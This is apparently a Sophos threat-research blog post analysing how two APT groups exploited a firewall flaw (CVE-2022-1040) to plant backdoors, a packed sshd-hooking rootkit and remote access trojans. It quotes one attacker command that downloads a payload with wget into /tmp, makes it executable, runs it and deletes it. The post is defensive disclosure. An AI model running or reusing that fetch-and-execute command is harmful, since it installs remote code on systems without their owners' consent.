Sophos uncovers how APT groups carried out highly targeted attack

Andrew Brandt ⋮⋮ 6/15/2022

Sophos recently concluded an investigation into malicious activity and discovered that some interesting malware had been delivered as a result of active exploitation by two APT groups.

The devices affected by this highly targeted attack were infected with malware from one of three malware families. One of the payloads incorporated an entire build of Busybox within itself, which gave the malware complete control over the environment in which it was running.

This post is the result of many hours of research and reverse engineering by Sophos teams to understand the tools and techniques of the attackers and to share them with the broader security and threat research community.

How the Attacks Began

The attacks began with exploitation of CVE-2022-1040. The bug abuses a standard system process to place a file into a fixed filesystem location on the device.

Attackers used the bug to place malicious files into the device, and then took additional steps that triggered the device into stopping, then restarting, some services. This step caused the device to execute the files that had been placed there.

It is our belief that the attacks were the work of a dedicated, hands-on-keyboard attacker leveraging significant knowledge from someone who had reverse-engineered the device firmware. Many of the ELF executables we found served as surrogate (or replacement) shells that could write, read, or manipulate files or settings on the infected devices.

Among the ELF malware we found, in some cases, were backdoor tools. The attackers used these to remotely execute commands once they had breached the device. They exfiltrated a wide range of sensitive data from the device itself and used it to profile and document other potential targets on the host networks, evidenced by text files containing data left behind on the devices.

Analysts discovered that an attacker had compiled a near-stock version of a remote access tool called GoMet (which we have classified as **Linux/Bdoor-BIN**), and had set up a cron job to run the malware on a schedule. We found at least two variants, one named either **javad** or **javadsrv**, and the other named **javasrvd.**

The only significant difference between the two GoMet Trojans was the timing of the cron job used to execute them. One was set to run GoMet every ten minutes, and the other was set to run it once per hour.

We also retrieved a couple of different samples of Gh0st RAT malware from devices. One of the samples was also named **javad**, while the other was in **/bin/wrapped**. Gh0st RAT (**Linux/Agnt-A**) is a relatively common malware family used widely on both the Windows and Linux platforms.

Based on the relatively low level of sophistication of these samples, we believe that they were the work of one of at least two APT groups working simultaneously. Both groups had access to the knowledge necessary to deploy malware using the same exploit, but the other suspected APT group was far more capable, and created custom malware designed specifically to run in the environment, and even to mimic files found on these devices.

For instance, we found some files that the attackers had taken directly from a compromised system and modified to add additional functionality. The attackers overwrote the original files with the modified ones. The attackers had added functions that they could leverage to decrypt, and dynamically load, other files onto the device without leaving traces on the filesystem.

But the true measure of this APT group's capabilities was demonstrated in a custom ELF binary they left on the system. There is no ELF file by this name that's part of the normal installation, so we recognized its presence – the file was found only on one infected device – as a red flag.

Evident Malware Aptitude

One of the first discoveries we made about the custom ELF file (detected as **Linux/Agnt-AS**) was that after compiling it, its creator had then wrapped it in a commercial runtime packer called VMProtect. Runtime packers like this are used in some commercial software to prevent reverse engineering by competitors, and sometimes they're abused by malware creators to complicate the work by analysts. While our researchers have a lot of experience with Windows-based malware packed using this packer, which is one of the most difficult to manually unpack, the Linux variant is less common, and these attackers had used it.

At about 3MB in size, the file is a relatively large ELF binary but it has a lot of functionality. At its core, the binary is a rootkit, which is configured by the attackers adding an LD_PRELOAD entry to the startup sequence on the device.

When set up properly, it is loaded into the memory space of the secure shell daemon (sshd) service and hooks the ACCEPT function, so when *sshd* calls that function the operating system passes the request directly to the malicious ELF file. This malicious accept function effectively performs a fake ssh handshake and ssl setup (which includes a hardcoded root CA certificate). The binary also removes the LD_PRELOAD environmental variable entry to conceal that the sshd service preloaded a library, but the **procfs** command exposed it, linked as memory mappings within sshd.

The malware can be triggered by an ICMP ping packet containing custom-crafted encrypted data – something that would not normally occur in routine use. It responded to that special ping by opening a back connect session to an IP address and port found within the encrypted data in the ping data field, giving the ping user a one-packet backdoor into the device.

The malicious ELF binary also is capable of unmounting partitions in the filesystem that are read-only and remounting them with write capability. It used this capability to make other changes to the filesystem that would otherwise be impossible. And the malware was compiled to include a version of libpcap, which it used to sniff network traffic and write out packets to the attackers' active connection.

When analyzing the capabilities of the malware, we determined that it contained a hardcoded Certificate Authority (CA) root certificate that the creator(s) of malicious ELF binary used to set up the SSL configuration for the threat actor's connection.

The certificate extracted from all devices had the same serial number and a 10-year validity period beginning on Monday, August 30, 2021. While the CA cert was not valid, unexpectedly, the CA cert's "Issuer" value indicated that the certificate was created specifically to mimic one used by another device vendor and contains the name of both the manufacturer and their product.

The attacker demonstrated they learned how to manipulate not-publicly-documented internal commands to move and manipulate files, execute or terminate processes, move files from one place to another, and extract and exfiltrate sensitive data from the device.

Anatomy of an Attack

The attackers crafted an exploit that had two parts: an authentication bypass and a command injection. The effect of these used in combination meant that they could execute any command as root on the device. Attackers also found that they could pass a command to devices that triggered the device to retrieve a file from a remote server.

The command that retrieves the file also drops it into a directory on the device where the firewall normally, temporarily, stores its firmware update files. The attackers used this knowledge of the device's internal behavior to then execute a second command, to trigger it into checking whether a firmware update was available. the firmware update process found, then executed, the contents of the file the attackers previously planted in the temporary location.

The attackers' use of these techniques reveals considerable time spent studying the basic functions of the device and discovery of internal APIs to accomplish a variety of tasks that are not routinely carried out on a firewall device.

The file contained a shell script that can be downloaded from a server they control. The URL used, and the script payload delivered, were changed slightly from target to target. The script payloads initiated the next phase of the attack delivering malicious executables to each infected device.

The pattern for each of these script payloads was similar, though the URLs where they were hosted and the filenames of the payloads varied. The script first tried to delete any existing file named **.a** in the /tmp/ directory, then used *wget* to retrieve a payload from one of a small number of URLs and wrote it out as **/tmp/.a**. It then used *chmod* to render the payload executable, executed it, and then ran the same delete command to remove the .a file from /tmp/. The command looked like:

rm -rf /tmp/.a;wget [URL] -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a;rm -rf /tmp/.a

The attackers, in a few cases, registered custom domain names that are thematically connected with some of the targeted organizations.

In some instances, the URL pointed to the IP address of another compromised device, which the attackers used to host malicious payloads.

The attackers also used several IP addresses belonging to the website of a university medical research department involved in COVID response efforts in the region.

IoCs and other red flags

We have what we believe is a comprehensive list of the domains and IP addresses used to host the malware payloads, but none of the sites have been active since we began the investigation on March 21, 2022.

The vulnerability exploited in these attacks were quickly resolved, as discussed in our advisory for CVE-2022-1040. In the course of our response, we prioritized outreach to the few organizations with affected devices.

Acknowledgments

SophosLabs would like to acknowledge the contributions of the following people who investigated these attacks and studied the malware: Timothy Easton, Sabrina Karim, Elison Niven, Brijesh Rajput, Tom Sage, and the team running the Sophos Global Security Operations Center. Additional information and IOCs were provided by researchers from *Recorded Future.* Thanks also to Volexity.